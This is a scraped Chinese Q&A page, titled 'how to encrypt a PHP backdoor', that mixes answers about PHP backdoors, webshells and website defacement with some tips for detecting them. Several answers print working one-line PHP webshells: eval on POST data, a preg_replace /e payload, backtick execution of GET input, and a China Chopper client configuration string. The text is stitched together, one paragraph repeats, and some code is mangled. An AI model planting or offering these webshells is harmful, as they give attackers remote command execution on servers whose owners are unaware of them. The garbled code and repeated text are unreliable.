如何加密PHP的后门
php怎么留后门 -
所谓后门，就是一段代码。但是要被触发，比如，当你把文件上传到服务器上以后，打开这个页面，就会直接读取数据库，比如某些博客程序，别人给你的，他直接多放了一个文件，里面有获取config.php的，然后直接显示这个文件的密码配置，这个就是后门。
代码后门大多是一句话，比如：eval($_POST['backdoor']);//楼主大多注意获取数据的来源是否可靠//注意接受表单数据函数如：_POST[];$_GET[];//和注意文件的读写，最可怕的是这个：eval(file_get_contents(';));//等等//这个叫做远程执行，如果发现异常，请立马开启PHP好了吧！
所谓后门，就是一段代码。但是要被触发，比如，当你把文件上传到服务器上以后，打开这个页面，就会直接读取数据库，比如某些博客程序，别人给你的，他直接多放了一个文件，里面有获取config.php的，然后直接显示这个文件的密码配置，这个就是后门。
代码后门大多是一句话，比如：eval($_POST['backdoor']);//楼主大多注意获取数据的来源是否可靠//注意接受表单数据函数如：_POST[];$_GET[];//和注意文件的读写，最可怕的是这个：eval(file_get_contents(';));//等等//这个叫做远程执行，如果发现异常，请立马开启PHP好了吧！
所谓的挂马，就是黑客通过各种手段，包括SQL注入，网站敏感文件扫描，服务器漏洞，网站程序0day, 等各种方法获得网站管理员账号，然后登陆网站后台，通过数据库备份/恢复或者上传漏洞获得一个webshell。利用获得的webshell修改网站页面的内容，向页面中加入恶意转向代码。也可以直接通过弱口令获得服务器或者网站到此结束了？。
1、很难，因为有的后门会加处理的，很难扫描出来的，要一句一句去排除；2、可以把修改日期跟大部分日期不一样的文件过一遍。
一个有意思的 PHP 一句话后门,怎么破 -
<?php preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后，使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O> <?php echo `$_GET['r']` ?> //绕过<?限制的一句话@eval_r($_POST[sb]) 说完了。
这是明显的一句话木马，权限很强大，可以做权限内的任何事情。FTP删除不掉可能是因为黑客设置了权限，可以联系空间商协助删除，另外可以建议他们安装一个护卫神入侵防护系统，自动监控木马并隔离或删除。
用php写的网站可以用什么工具来检查它是否被挂马被植入后门了???
1、找挂马的标签，比如有或，或者是你用360或病杀毒软件拦截了网马网址。SQL数据库被挂马，一般是JS挂马。2、找到了恶意代码后，接下来就是清马，如果是网页被挂马，可以用手动清，也可以用批量清，网页清马比较简单，这里就不详细讲，现在着重讲一下SQL数据库清马，用这一句语句“update 表名set 等会说。
这个是eval 加密解密后可以看到代码然后才知道他要干啥你贴的代码不全，
我下载了一个PHP加Mysql的源码 怎么检查有没有后门? -
看有没有木马然后你可以检查看下代码中有没有可疑的js代码，也有可能是马程序的bug这个我就不说了，难，任何程序都可能有bug，只是发现与没发现的问题如果是很牛的人的源码，人家在程序里面放了马，藏得很深的话，估计找出来也难，建议还是用出名一点的源码程序！要么自己开发或请人开发！
我可以检测，并且修补漏洞，给做安全防护，